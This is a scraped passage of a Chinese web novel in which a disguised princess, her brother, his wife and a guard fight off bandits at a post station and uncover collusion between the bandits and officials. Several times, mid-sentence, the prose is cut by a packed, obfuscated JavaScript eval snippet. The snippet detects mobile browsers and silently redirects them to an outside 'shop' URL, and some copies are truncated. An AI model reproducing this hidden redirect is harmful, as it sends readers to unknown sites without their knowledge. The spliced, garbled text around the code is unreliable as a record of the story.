趁着驿官核验的功夫,沈悠然百无聊赖地打量起了坐在大厅里的其他人。 因为是经常在外面跑动的人,这些人看起来行色匆匆的,吃顿饭感觉筷子和碗下一秒就要打起来一样,沈悠然都怀疑他们不用咀嚼,食物顺着喉咙就滑了进去。 这些人多是黝黑的肤色,看来长年累月的在外面,确实会让人看起来显得沧桑。 目光再往下的时候,沈悠然终于发现了哪里看起来奇怪了。 考虑到要出行,沈悠然的那些宫装肯定是穿不得的,赵皇后让绣娘们赶了许久的工,替她做出几套便于出行的衣衫来。 但也因为是才做的,布料崭新,颜色鲜艳,没有那种洗了好几次之后的痕迹,一眼就能看出来和旁边那些风扑尘尘的赶路人不一样。 因此,驿官也不由得多看了几人两眼。 “哟,是宣阳城里来的贵客呀!” “这是上房钥匙,客人是直接休息呢?还是先用晚饭?” 沈悠然的肚子配合着咕噜了两声。 午膳的时候她一身的新奇劲儿,连路过一只鸟都想同它对视一番,也未曾好好进餐,此时一听到驿官说饭,肚子就率先做出了反应。 好在声音不大,也没有旁人听见,最主要的是严晟没有反应,她便不觉羞赧。 “先吃饭吧。”严晟提议。 沈悠然不自觉地看向他,或许是这事先太灼热,严晟也紧跟着转过头来,让她放在腹部试图捂住肚子响动的手放了下来,挺直了脊背下巴微昂,恍若什么都未曾发生。 甚至还能熟练地转移话题,问老板在这开了多少年驿站了。 等待着非常讲究的沈煦擦拭桌椅的功夫,她拽了拽严晟的袖口小声嘀咕。 “他怎么知道我们要住上房?是不是不小心露了富?” 出门之前她可是找青黛请教了好些问题呢,说是出门在外,切忌不能张扬自己有多少钱,不然会引来旁人的觊觎。 严晟垂着头,同她解释,“驿站是官家的地盘,原是只给官员及家眷提供便利,但除上任和年末述职之外,平日里也没什么官员会路过,更别提那些偏远地方的小驿站了。 “为缩减开支,也是为了让路过的行人有个栖身之处,圣上下了令,便成了如今这般开门迎客的模样,过路的人只要付钱,就能进来,所获银钱一部分交予户部,另一部分则归驿站里的人所有。 “他这是看到我们的文书上写了是经商,直接就给了上房,准备强买强卖呢。” 沈悠然得意地扬了扬眉,“这样一举两得的好办法,真不愧是我的父……爹爹。” 明明是盛兴帝的善举,她说出口的话竟像是她的功劳一般。 偏偏又还让人厌不起来。 严晟只好别过脸去,替她拉开了椅子。 虽然这驿站看起来有些年头了,装潢都透着陈旧的气息,但好在吃食并未让给沈悠然失望。 因为临近山间,驿站里的食材多是伙夫闲暇时间去山里打猎采摘的,还能节约银钱。 食材新鲜,所以味道好,沈悠然最后还多喝了一碗汤。 连带着旁边桌有个五大三粗的壮汉都忍不住看了她一眼,放下碗同他视线相接的时候又很快挪开了。 沈悠然不禁反思,难道是自己吃的太多了吗? 不,一定是那人没想过山野间的驿站还有女子出入,好奇而已。 酒足饭饱之后,一行人上了楼。 那些人只是在驿站用了个晚饭,并未留宿,是以这驿站的二楼都被沈悠然一行人包了下来。 原是打算让沈悠然和蔺朝暮一个房间,剩下的两个男子一个房间。 但沈悠然想到兄嫂新婚,不愿当那种惹人厌的小姑子,坚持要自己一个人住。 这驿站毕竟不是客栈,来往的人都是行色匆匆的赶路人,能有一个地方住就算不错了,谁还在乎床榻硬不硬被子是否蓬松。 真要讲究这些的,不如再赶个把时辰的路,去州县里住了。 就着打杂下人端来的热水洗漱一番之后,沈悠然躺在床榻上,望着黑漆漆的天花板,只觉得毫无睡意,突然有些想念宫中了。 也不知道是今日坐了太久的马车,还是说这床板太硬,沈悠然觉得腰背有些酸痛,在床榻上翻来覆去辗转难眠。 好不容易有了困意,却又想起了白日里被严晟口中描述的孕妇死后产子,迷迷糊糊之中,好似被噩梦魇住了。 梦里一会儿是冰凉刺骨的河水,一会儿又让她觉得被潮湿热气包裹着。 她感觉自己好像是被挤压的婴孩,明明是在哭闹着,但又发不出任何的声音;又好像是只剩下微弱知觉漂浮在水面上的妇人,眼睁睁地看着自己的孩子离去却连动一下手指的气力都没有。 好不容易醒来的时候,她身上已然出了一身的薄汗,黏糊糊的,让她不免有些心烦,抓了抓本来就有些乱的头发。 窗外已经不似进门时那般喧闹,没有人来回走动的声音,就连后院的马匹也减轻了动静,周遭寂静得沈悠然感觉都能听到自己呼吸的声音。 为了不让这次出行显得大张旗鼓,这次四人俱是未曾带侍女同路,现下若是想洗漱,得自己出去叫人。 透过窗外,沈悠然看见院中只剩下两盏挂在院中木架上的灯笼还发出些许微弱的光。 她需要出房门之后下楼,去到或许已经空无一人的大厅,叫醒留守的驿官。 也不知道这里的驿官,是否会老实留守以备不时之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785715|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需。 沈悠然坐在硬质床板前思忖了好半晌,最终还是觉得身上那股黏腻的感觉让她难以忽视,战胜了外面漆黑的夜。 就在她忧心忡忡出了门后,却发现,走廊尽头的房间还未熄灯。 那是严晟住的地方。 沈悠然的手还搭在门框上,透过窗户看见了微弱的烛火。 因为顾及到他们是宣阳城里来的贵客,驿官早早地就叫人拿了两对崭新的灯笼出来,生怕怠慢了贵客。 明明廊下烛火通明,但沈悠然就是觉得那几近熄灭的烛火更亮眼。 只犹豫了半息的时间,她就抬脚走向了光的方向。 既然严晟没睡,既然自己是因为被他讲的东西吓到了做噩梦,既然他是自己的护卫。 那让他提两桶热水来,也不为过吧? 清脆的敲门声响彻寂静的夜,沈悠然看见那道坐在窗外的身影起身,然后开了门。 “小姐?”他微微皱眉,“失眠了?” 尚未熟悉的称呼从他嘴里响起,话在沈悠然脑子里转了一圈,才想起来是什么意思。 “我要沐浴,你去打两桶水上来!”她颐指气使地吩咐道。 严晟眉头皱得更厉害了,“子时已过,小姐这个时辰还要洗漱?夜深露重,恐受了凉,身体不适。” 原来已经过了子时了,难怪外面静悄悄的。 这个时辰再要沐浴确实折腾人,但沈悠然也不想委屈自己。 不然就打盆热水来擦一下脸也好。 严晟拗不过她,老老实实地下了楼。 也算是沈悠然有良心,没让他一个人在下面忙活,跟着他一道出去,哪怕是陪着说说话,也是好的。 毕竟烧柴什么的事,她也没做过,帮不上什么忙。 等到凑近了,沈悠然才发现,炉灶下的竟还是热的。 “呀?这么晚了,还有人在用火吗?”沈悠然惊讶。 严晟倒是不觉奇怪,“有些着急赶路的人,等不了天亮就要出发。若是想要热几个馒头之类的干粮带在路上吃,再来烧水,耽误时间,所以这炉灶的火会燃上一整夜。” 沈悠然点点头,然后又转过头,直勾勾地盯着严晟的眼。 因为院中烛火昏暗,她下意识地就凑近了些。 近到严晟觉得手背有些发痒,低头一看,才发现原来是她的发尾落在了手背上。 “你怎么懂这么多啊?”沈悠然低声发问。 其实她也不知道为什么要放低声音,只是觉得夜色太沉,两人太近,下意识地就想要压低声音说话。 严晟勾着嘴角,也学着她的样子,用接近气音回复着她。 “我幼时同母亲出行,母亲总觉得,一个妇人一个幼童在外投宿,就怕被有心之人盯上不安全,是以我们一路上常寻官家驿站留宿,那些歹人不敢乱来。” 沈悠然不由得感慨,“你母亲好聪慧啊。” 原本还是带着笑意的严晟嘴角微微下沉,抬头看了眼天上的月亮。 “是啊,我母亲是个聪慧的女子。” 只是这一眼,让严晟的眉眼瞬间变得凌厉起来,按着沈悠然的肩膀一使力,二人就这么蹲着藏匿于炉灶之间。 沈悠然还没来得及反应过来问他怎么回事,突然就听到一声巨响。 有人从外面踹开了驿站的大门。 33. 第 33 章 不请而入的一行人约莫有十几二十个,身上穿着露臂的短衫,手上拿着兵器,气势汹汹地径直走向官舍方向。 兵器的样式参差不齐,除了为首的那个壮汉拿着一把刀,越到后面的人,越像是从路边随便捡了树枝当棍子就来了。 看起来像是劫道的山匪。 沈悠然惊得说话都只剩下了气音,“太……太猖狂了吧?这可是官家驿站啊!他们竟敢抢?不怕杀头吗?” 她简直不敢想,这种地方他们都敢推门而入来抢劫,一般的百姓家,岂不是犹如无人之境。 尽管内心已经恨不得冲上去把这群人一锅端了,但沈悠然不是莽夫,也知道这里不是宣阳城,不是她一开口就能叫来一群护卫的地方。 看着那群人从眼前走过,沈悠然不禁有些心急。 “怎么办啊,哥哥他们还在房里。” 她运气好出了房门,又刚好遇见了这群人没来炉灶前搜…… 等等! 那些人推门就直接走向了官舍,甚至都没有分几个人往其他的地方搜刮,像是早就认定了官舍才是目的地一样。 是和里面的谁有私人恩怨?还是屡次作案经验丰富? 沈悠然将自己的发现说与严晟听,他借着昏暗灯光,又打量起了这一行人。 为首的那个男人一脸横肉,看起来凶神恶煞的,动作狠辣。 后面的那些人身形也很魁梧,应当是靠着这些打家劫舍的勾当,把自己喂得很好。 只是其中有一个人给严晟一种说不出来的感觉。 其他人都是多多少少能够看得出来一身的匪气,还有带着一种在山野间过惯了行事粗鲁的作态。 唯独那个一身黑衫像是要隐没在夜里的人,严晟看不透,像是普通人,不像山匪。 就在他打量的时候,在大厅留守的驿官被外面的动静惊醒,半梦半醒着出门打探情况,看见院外黑压压的人群,顿时吓得一激灵。 “山、山老大……今日你、你怎么来了……” “老子怎么来了?老子一个当山匪的,当然是来抢劫啊!” 驿官矮胖的身躯挡在为首的那位“山老大”面前,试图阻拦他们的前进,脸上挤出了个难看的笑,“我、小的……今日没发信号,没有、没有可以捉的鱼儿啊。” 山老大把刀架在他的脖子上,“放你娘的猪屁,你算算,你这两个月拢共就放了三次信号,还都是些穷官的老婆孩子,自己都像是要沿街乞讨的,就那点儿钱,还不够咱们兄弟买二两肉塞塞牙缝的呢。” “今日老子可不管了,要么你让开当这件事不知道,要么老子连你一块儿砍了!” 驿官被吓得直哆嗦,但拦人的手也未曾放下。 “山老大,今日真的不成,今日……今日官舍里住着几个宣阳城里来的商户,那可是天子脚下,万一……万一他们回去之后……” 谁料山老大听了他的话,反而笑出了声,转头在人群里寻觅了一番,然后看向了那个黑衫男子。 “你小子今日立大功了,这里果然有肥羊。这外出经商的,银钱可比那些投奔亲戚的穷官眷多得多了。” “兄弟们,加油好好干,到时候咱们回去吃香的喝辣的!” 驿官的身躯拦不住十几二十人的冲撞,被挤得跌落在地上,双手不住地拍着地。 “不行啊,不行啊,这真的不行啊……这可是、这可是抄家的大罪啊。” 近在咫尺的银子蒙蔽了山匪的双眼,他们可不管什么宣阳城宣阴城的,总归抢了钱就进山里藏着,到时候真惊动了官兵,能不能找到他们还是两说呢。 一想到已经一个多月没过过手里银钱放肆花的日子了,山老大也忘了从前跟驿官定下的不动宣阳城人和官差的约定,挥舞着手中的刀剑就要往二楼冲。 谁料,也正是他们和驿官在外面拉扯的这会儿功夫,动静也惊醒了沈煦夫妻二人。 还不等他们冲上楼,一阵剑光划过,原本就踩上去咯吱作响的木楼被从上方砍断。 几个魁梧大汉瞬间跌落在地,凌乱地叠在一起,发出唉哟连天的叫喊声。 从另一侧上楼的人看见自己大哥被人打了个底朝天,顿时怒火中烧,挥着手中的棒子就往前冲。 沈煦见状,当即揽住蔺朝暮的腰,吩咐她抱紧自己,随后一个纵身,两人直接从二楼一跃而下。 蔺朝暮何曾做过这般出格的举动,双脚碰到地面的时候不由得一软,差点就要摔倒在地。 但她清楚现在这种时候,她不能倒下,否则那些山匪就会立马追上来。 其实在山匪推开院门的时候,她就醒了。 和沈悠然一样,这也是蔺朝暮第一次住驿站。 她本就是浅眠又认床的人,再加上那个房间正对着马厩的方向,入睡之时依旧觉得耳边有马匹发出哼唧的响动。 出门在外难免有不便,她也不想让沈煦为难,即便没睡着,也是闭着眼睛假寐,权当养神了。 后面好不容易马厩安静了下来,她也以为自己能够入睡了,却又听见了新的动静。 先是门开了,紧接着就是窸窸窣窣的说话声。 说的什么她听不太真切,就只隐约听见了“山匪”的字眼。 她也不敢去想自己是不是听错了,万一是一场乌龙倒还好,万一是真的…… 蔺朝暮连忙叫醒了沈煦,二人匆忙起身,先是去敲了沈悠然和严晟的房门,但却发现二人不在。 来不及去细想他们去了哪儿,门外的说话声越来越近,沈煦只得折返回去拿了剑,将妻子紧紧抱在怀中。 谁料一出门就看见了乌泱泱的人群,十几二十个山匪,硬拼是必败的局。 沈煦将蔺朝暮护在身后,一把利剑横在胸前,看向山匪的脸上不怒自威。 “你们是何人?竟敢在官家驿站如此放肆!就不怕掉脑袋吗?” 山老大踉跄着爬起来,也不管自己身上还挂着碎木屑,只觉得气急败坏。 他又不是嗜血的屠夫,只是求财,伤人性命对于他来说没有半分好处。 从前只要那些人乖乖交出银钱来,他便抢了就走。 但今日这人,害他在一众小弟面前丢了脸,若是就这样放过他,免不得在小弟面前丢了脸。 他只好放着狠话,“这山高皇帝远的,老子怕什么?你还不如先担心一下待会儿被抬出去的时候,还是不是一整个呢!” 说完他就提着刀冲了上去。 和他一道的那些山匪更是只抢过钱,从未杀过人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈煦出来的时候未曾拿包袱,猜想着应该是来不及,东西都还放在楼上呢。 虽然打不过,但他们人多,打不了不杀人就行了,但钱要拿走。 虽然手中只剩下了一个刀柄,但他也没舍得扔,连滚带爬地就想要往尚好的那个楼梯跑去。 他的那些小弟们也慌了神,没想到今日遇见了一个硬茬。 嘴上还是叫嚣着说山老大仁慈,跟在他身后上了楼,就怕严晟追上来连他们也一起打。 看他们落荒而逃的样子,严晟也松了口气。 幸好是一群外厉内荏的怂货,不然就算是车轮战,紧靠他和沈煦二人也无法轻易对付。 重要的东西都藏在了马车的暗格里,一些随身用的银钱,丢了也不心疼。 双方见对方都未曾再追击,不免觉得侥幸。 只除了那个黑衫男子。 他原本是隐匿在坍塌的楼梯旁,低调地像是没有这个人一般。 但见山老大放弃之后,他突然暴起,弯腰捡起了的断裂木棍,就朝着四人的方向冲来。 “竟敢伤我大哥,我要让你们付出代价!” 34. 第 34 章 他一出手,严晟就察觉到,他跟其他山匪不一样。 那些乌合之众,别说是怎么出刀往哪里出刀了,怕是就连怎么样能够握紧刀柄都不清楚。 但眼前的这个人,出手很是凌厉。 半截破旧的木棍,锐利的断裂处甚至比山老大那把从未养护过的砍刀还要具有杀伤力。 更何况他出手的动作,也透着一股狠劲。 倒是比那个山老大有种多了。 严晟下意识地躲闪,黑衫男子一个猝不及防,差点撞上院中的灯柱。 这让严晟不免又有些诧异,这个人的身手,并不像是会因为对手闪躲而来不及反应。 那他…… 不好! 严晟立马反应过来,果然看见那人径直朝着沈煦的方向而去。 不是冲着蔺朝暮,也不是朝着沈悠然,严晟可以肯定,他的目标就是沈煦。 沈煦也察觉到了,当机立断地将妻子和妹妹推向一旁,一脚踩上旁边的半截木棍,仗着瞬间的高度优势一脚踹在那人的手腕上。 这次,那人倒是很快反应过来躲开了。 若是有人离得近,就能看见他眼里的诧异——就好像他从来没有设想过严晟和沈煦都会功夫。 眼见着一个人不足以打得过,他一改之前低调得仿佛不存在的做派,大声呼喊起了他的弟兄们。 “各位弟兄,这几个人会功夫,不是普通商户,别是上头派来剿匪的!咱们小心别轻易放他们离开!” 这些山匪本来也只是谋财,不想害命。 但他们也知道自己抢的是官家驿站,是跟当官的作对,若是真的被剿灭了,那可就是掉脑袋的罪。 如果严晟一行人真的是来剿匪的,那他们就只剩下死路一条了。 见他们还在犹豫,黑衫男子又添了把火,“他们这四个人应该就是先来探探消息的,所以才掩人耳目装成商户。不快点解决他们的话,万一真的带官兵来了……” 被他这么一拱火,原本犹犹豫豫的山匪们,好像就真是确定了严晟四人的目的就是为了剿灭他们。 这时候,可就不再讲究什么害不害命了,不然死的就会变成自己。 众人抄起自己的武器就朝着四人冲过来。 离得最近的严晟率先被围住,虽然不至于打不过,但车轮战最是消耗精力。 哪怕是要定罪,也要把这些人带回去审,不能下死手。 更何况…… 从前学功夫的时候,师傅就教导过,拿剑之人最忌分心,但严晟无法控制地分神去关心其他的人。 关心被黑衫男子和三个山匪围住的沈煦。 更关心拽着蔺朝暮试图逃到院外的沈悠然。 她很害怕,害怕得想哭,但她知道哭是没有任何用的。 那些人如果会因为眼泪而大发善心,就不会伸出黑黢黢的手想要捉住她和嫂嫂了。 沈悠然咬紧了牙关,告诫自己至少现在还不能哭。 院中还摆放着用来喂马的草料,沈悠然一手紧紧拽着蔺朝暮,另一只手在草垛上乱抓。 哪怕是能够绊住他们的手脚,就够了。 蔺朝暮见状,也是身边有什么就扔什么,即便没什么效用,也比什么都不做等死来得好。 一时间,酱醋盐糖混着草料在空中飞舞,沈悠然从旁边的架子上找到个罐子,也没细看是什么东西,就冲着围攻他们的两个人一顿倾洒。 随着一阵红色粉末飘过,呼吸之间似乎都能感受到火辣的痛感。 沈悠然也被迫见识了一下这辣椒粉的威力,好在本就是朝着那两人的方向扔的,只少许随着风飘过来的粉末,让她眼眶更红了。 但她只能继续忍着,和蔺朝暮一人拿起一个瓢,将大锅里的热水往他们身上泼。 又是调料又是热水的,不知道的还以为是在红烧。 等山老大从房里搜刮一通出来后,只觉得天都要塌了。 一年前他和弟兄们走投无路,只得抢了这家驿站。那驿官以为他们要杀人灭口,便跪下苦苦哀求放他一条生路,说他家中有瘫痪在床的老母和尚未学会走路的幼子。 山老大本就不欲杀人,便胁迫他若是往后驿站中有肥羊,就打个信号,他和兄弟们下山来“劫富济贫”。 开头的那半年双方配合得还算默契,日子长了,驿官更加害怕,这信号也就从一个月的好几次变成了好几个月一次。 山老大这次也是两个月没了进项,这才带人下山。 但他真没想过杀人。 简单的抢劫,那些官兵嫌费时费力,也不愿进山剿匪,有些苦主也会想着当破钱消灾不再追究。 但若是人命就不一样了。 “你们在干什么!” 他双手环抱着从三个房间里搜出来的行囊,失态紧急,他根本没空去翻看哪些是不值钱的东西,只想着等抢回去了再分赃。 手中的刀柄也早就在单手不好拎这些包裹的时候就被扔掉了,山大王站在大厅门口,不明白事情是怎么发展到这一步的。 “兄弟们,够了,够了,我们可以撤了!” 到底还是做了这么久的老大,虽然有些人已经打得不知天地为何物了,但听到他说话的时候,还是第一时间回过神来。 原来的十八个人,此时就只剩下四五个还能维持着站立的状态了。 黑衫男子看见战况对自己不利,一时分了神,被赶来救援的严晟一个剑柄重击头顶。 他嘶喊着捂着头,强撑着没有跪在地上。 真是一群蠢货,难怪只能窝在山上当山匪,他在心里咒骂着。 这群人已经成不了气候了,黑衫男子索性也没有再出手,只是在严晟意图擒住他的时候,吹着哨子扭头就往院外跑。 他动作太快,严晟和沈煦都来不及反应,只能眼睁睁的看着他翻身上了马。 别说是严晟一行人了,就连山大王那目瞪口呆的样子,想必也是没有想到这个小弟居然还自带坐骑。 跑得了一个,但其他的人跑不掉。 最蹊跷的人已经猝不及防地跑掉了,再怎么说也该留个活口审问一番才是。 严晟脚尖微掂,也不知道是使了什么巧劲,整个人就像是原地飞起来了一般,再次回过神来的时候,剑刃已经抵在了山老大的颈侧。 “我们是朝廷派来剿匪的,上头说了,只要能捉住领头的人,其余人不重要。” 剩下的人愣了半晌,然后就丢下手中的东西,作鸟兽散去了。 也幸好这群山匪不讲义气,还可以节省一番力气不用打了。 * 大厅的门早已在打斗中“寿终正寝”了,夜风穿堂而过,烛火被吹得轻晃,给这审讯平添了几分恐怖气息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797660|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈悠然坐在角落里,目不转睛地盯着跪在地上的山老大和驿官,还有佯装睡着了未曾听见院中动静的马夫伙计们。 乌泱泱的跪成一排,从沈悠然的方向望过去,只能看见几个后脑勺。 但不妨碍她在劫后余生之后忘记了方才狼狈躲藏的痛苦,生起了看戏的心。 严晟将从柜台处找到的金疮药分了一半给蔺朝暮,让她看看若是有受伤的地方一定要上药。 男女授受不亲,他不好上手。 蔺朝暮接过药道了声谢,但却没动手。 方才沈悠然护着她,除了担惊受怕之外,她是真没受到伤。 倒是沈悠然,手背在粗糙的墙壁上摩擦着,浸出了血丝。 只是沈悠然一门心思在看审讯上,敷衍似的回应他,“行了行了,你把药放那吧。” 严晟看不过了,皱着眉头一把拉过沈悠然的手,捏着药瓶抖动着。 棕褐色的药粉瞬间和血珠混在一起,沈悠然轻嘶了一声,下意识地就想要抽回自己的手。 但严晟好像是猜到了她的举动,手上加了力气,沈悠然根本挣不脱。 “忍忍,不然伤口会越来越大,说不定还会留疤。” 一听到留疤,沈悠然就老实了,靠着看哥哥审讯这些人来转移注意力。 严晟看她这副心猿意马的模样,还能有心情看戏,应该没有大碍。 但又莫名觉得有些空落落的。 山老大也算是有自知之明,直到自己打不过也跑不掉了,索性就把他和驿官勾结的事一五一十交代了。 一开始这些马夫伙计不敢参与,但被山老大恐吓了一番,每次就假装自己什么都没听见,既不帮忙抗敌,也不去报官。 现下认证物证俱在,只等着明日一早将山老大和驿官扭送报官了。 审讯的最后,沈煦又问了他黑衫男子的身份。 山老大表示他也不清楚,那人只说原是附近镇上的农户,妻子被城中的富绅看上之后,随意找了个由头将他打了一顿丢进山里,他没了法子只能投奔山匪。 看他手脚轻快像是有功夫的样子,山老大就把他留下了,没事让他在附近打探打探消息。 今天也是恰好他在附近,看见沈煦一行人打扮不俗,猜想着他们身上有好东西,于是山匪们才下山来打劫。 也没想过这一趟是有去无回了。 见他不像是说谎的样子,沈煦也就信了他只知道这些。 该知道的都知道了,沈煦也不再废话,将他和驿官背对着绑在大厅的柱子上,和严晟商量一人两个时辰轮流守着。 等到天亮了,才好去报官。 至于其他的人,要走就走,要留的话,也可留在此处,等官府来决断。 经此一事,严晟也不敢再掉以轻心,赞同了守夜的说法。 他更害怕的是那个黑衫男子折返回来。 他将自己的担忧同沈煦一说,对方赞同地点了点头。 “阿晟,我总觉得那人是冲我来的。” “方才和他交手的时候,我能明显感觉到他没有杀意,并不想要知我于死地,但又很奇怪……” “哪里奇怪?”严晟问道。 沈煦闭着眼回想了一下那人的动作,语气有些迟疑。 “我总觉得,他的招式……似乎都是冲着我的腿来的……” 35. 第 35 章 翌日一早,四人就套了马车,将山老大和驿官捆在后面,驾车去了最近的府衙。 知府一听是从宣阳城里来的巡查使,行礼时弯下的腰更向下低了一寸。 “大人请放心,小的一定彻查此案,这就派人将涉案山匪一一抓获,严惩不贷!” “大人舟车劳顿,巡查路过之时也不忘为百姓分忧,这等心境让小的由衷佩服!不如这般,小的这就在酒楼备下一桌席面,就当是替大人接风,替周遭的百姓感谢大人此番义举!” 沈煦皱着眉头,“剿灭山匪本是为官之职,谈何义举?” 听他语气有些不耐,知府立马拍着自己的嘴,“是是是,小的口误,小的口误。大人为官正直,让我等望尘莫及啊!” 满口官腔,不知所云。 沈煦不愿再同他多说,只是想着出兵剿匪费时费力,此时山匪头子都已经送到眼前了,他就算是为了政绩,想必也会好好处理此事。 “接风就不用了,本官还有要事在身,不可耽搁。还望知府将山匪一事放在心上,莫要让山匪再横行,引得百姓不安。” 知府躬着身子,不断地点头。 沈悠然在马车上看着,凑在蔺朝暮身旁小声嘀咕,“哥哥还是心太善了,这知府一看就是那种只会欺下媚上的黑心官,十句话里有九句都在拍哥哥的马屁,这种人怎么可能把百姓放在心上。” “宫里这种内侍可多了,当着主子一套,背着主子又是另一套,当真可恨!” 蔺朝暮将沈悠然的手拉了过去,昨日敷过金疮药之后,手背上的伤口已然不再浸血,看起来也没那么渗人了,也就让人放心了许多。 她笑着调侃,“我们皎皎真是个嫉恶如仇的帝姬呢。” 沈悠然另一只手捏紧了拳头,在空中挥舞了两下。 “当然,他得庆幸遇见的是哥哥,若是我的话,必定上去就是两拳先把他打趴下,看他还敢不敢再拍马屁。” “十四叔说过了,对付坏人就是要讲究快准狠!我先把他制住,免得他叽里呱啦说一大堆官腔,说得人心都烦了。” 沈煦一上马车的时候,迎面而来的就是一个拳头。 “怎么了,还在气?”沈煦以为她还在因为昨晚之事愤愤不平。 其实沈煦自己也心中藏有愤懑,他早就想过这番出行定不会一帆风顺,但也没曾想过,才出宣阳城没多远,竟就发现了官匪勾结。 在父皇看不见的地方,还不知道这种事会有多少肮脏之事。 “走吧,我们去永州。” “对了,阿晟呢?” “严护卫说要去置办一些东西,让我们待会儿去城门口等他便是。” 沈煦点点头,猜想他应该是去城中补给了。 虽然说经此一事沈悠然应该不会再提起住郊外驿站了,但万一路上有耽搁,干粮还是得备上以防万一。 沈悠然在旁边撇着嘴,她原本是想同严晟一道去的,但被严晟拒绝了。 所以当严晟叩响车窗推门而入的时候,若不是看到他手上拿着东西,沈悠然还想转过头去给他甩个脸色呢。 他左手提着几个油纸包着的东西,一股香气迎面而来,沈悠然下意识地鼻尖耸动着,闻出了其中的葱油香气。 严晟解释道,“原是准备去补充干粮的,瞧见旁边的小摊还算干净,便买了大家用点热乎的。” 驿站里的人要么跑了要么被困,今晨的早饭,都是几人在驿站找了点东西随便应付的。 吃的时候,沈悠然没什么胃口,也就没用多少。 现在只用一块带着热气的新鲜的油饼,就能让她的肚子发出“咕噜”的声响。 严晟恍若未闻,将油饼分给大家,然后拿出了一个盒子。 盒子里面放着两把匕首,很小巧,约莫比成年男子的手掌再大一圈。 “匆忙之中,只能找到这两把防身的武器,小姐和夫人一人一把,藏着以备不时之需。” 沈悠然见状,顿时觉得手里的油饼也没那么香了。 她昨晚可太憋屈了,东躲西藏的,如果那时候能有一把匕首的话,她肯定能大杀四方! 不过现在也不迟。 她迫不及待地冲着严晟竖起了大拇指,“严晟我宣布你是最尽职的护卫!” 然后又以迅雷不及掩耳之势,从盒子里拿了一把匕首走,生怕慢了一点就会被剥夺携带武器的权利。 出门在外,沈悠然和蔺朝暮这种弱女子,身上还是得有点防身的东西才是。 沈煦也不禁点点头赞同严晟考虑周全,同时也在心里反思着自己想得太简单了。 总觉得自己能护住妻子和妹妹,也没想过,让她们有自保的能力才是最好的。 “既然补给好了,那就继续上路吧。”沈煦建议道,“再耽搁下去,怕是天黑之前到不了下一个城镇了。” “到时候若是在外扎营,也不见得会比昨晚好到哪里去。” 沈悠然这会儿才不管是留在原地还是继续赶路呢,只顾着喜滋滋地盯着自己的武器,翻来覆去地把玩着。 和从前她得到的那些应该被称为观赏品的匕首不一样,刀鞘上不再镶嵌着华而不实的珠宝,通体没有丝毫与防身无关的装饰,更方便藏匿。 就在沈悠然打量的时候,突然觉得掌心多了一阵温凉的触感,回过神来才发现,一个白瓷瓶被塞进了手中。 凉的是瓷器自带的触感,温的是严晟的体温。 沈悠然侧过头,用眼神询问这是什么意思。 严晟似是有些慌张地别过头去,只扔下了几个字就错开眼。 “这个,祛疤。” 沈悠然一手握着匕首,一手捏着瓷瓶,没忍住笑了。 * 一出城门,严晟就觉察到,他们被人跟踪了。 有一队打扮得像是胡商的人一直跟在他们的身后。 按理说这是官道,谁都可以走,且就这一条直路可走,同行简直是太正常不过的事了。 但怪就怪在,从严晟第一次侧过身子同沈煦说话的时候,不经意之间发现对方竟一直在盯着自己。 不像是那种好奇的打量,反而像是……监视? 严晟一开始以为自己是想多了,后面又找了几次机会,假装是在谈话,但实际上确实是悄悄打量那群人。 然后就发现,他每次回头,对方都在看着他们。 严晟觉得不对劲,悄声同沈煦说了这件事。 沈煦听闻,怕打草惊蛇,没有立马回头。 “总不能又遇见劫道的了吧?”沈煦忍不住苦笑,“我们难道处处都透露着很有钱的模样?” 严晟摇摇头,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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气氛瞬间有些剑拔弩张,严晟不禁将手放在了腰侧,随时准备拔剑。 沈悠然也察觉到了不对劲,说话带着迟疑,“不、不对吗?这舆图上写着,去永州……得往左。” 胡商中领头的那人听见此言,立马问道,“几位,可是要去永州?” 沈煦陷入两难,他也不知道此时回答“是”或“不是”,哪个更有利。 但那群胡商一改之前的警戒,好心同他们攀谈起来。 “去永州的话,确实应该往左而行。我们兄弟几人常年走这条官道来回,做点小生意糊口,不会记错的。” “各位,我们还得赶路,若是诸位不着急,可否性格方便,让我等先行?” 沈煦迟疑着让了路,但仍不能完全放心。 “我瞧几位方才的样式,不像是赶着经商的。” 胡商先是一愣,然后抚着胡子哈哈大笑。 “误会,误会了。” “我听说其他的兄弟们说,这附近常有山匪作乱,这不是一时紧张……误会各位了。” 倒也说得过去。 沈煦和严晟对视一样,让开了往右的道路。 一直等到这队胡商走了约莫有半刻钟的功夫,沈煦这才放下新来,确定他们不会再折返了。 沈悠然不免叹了口气。 “我看着……也不像是劫道的啊!” 36. 第 36 章 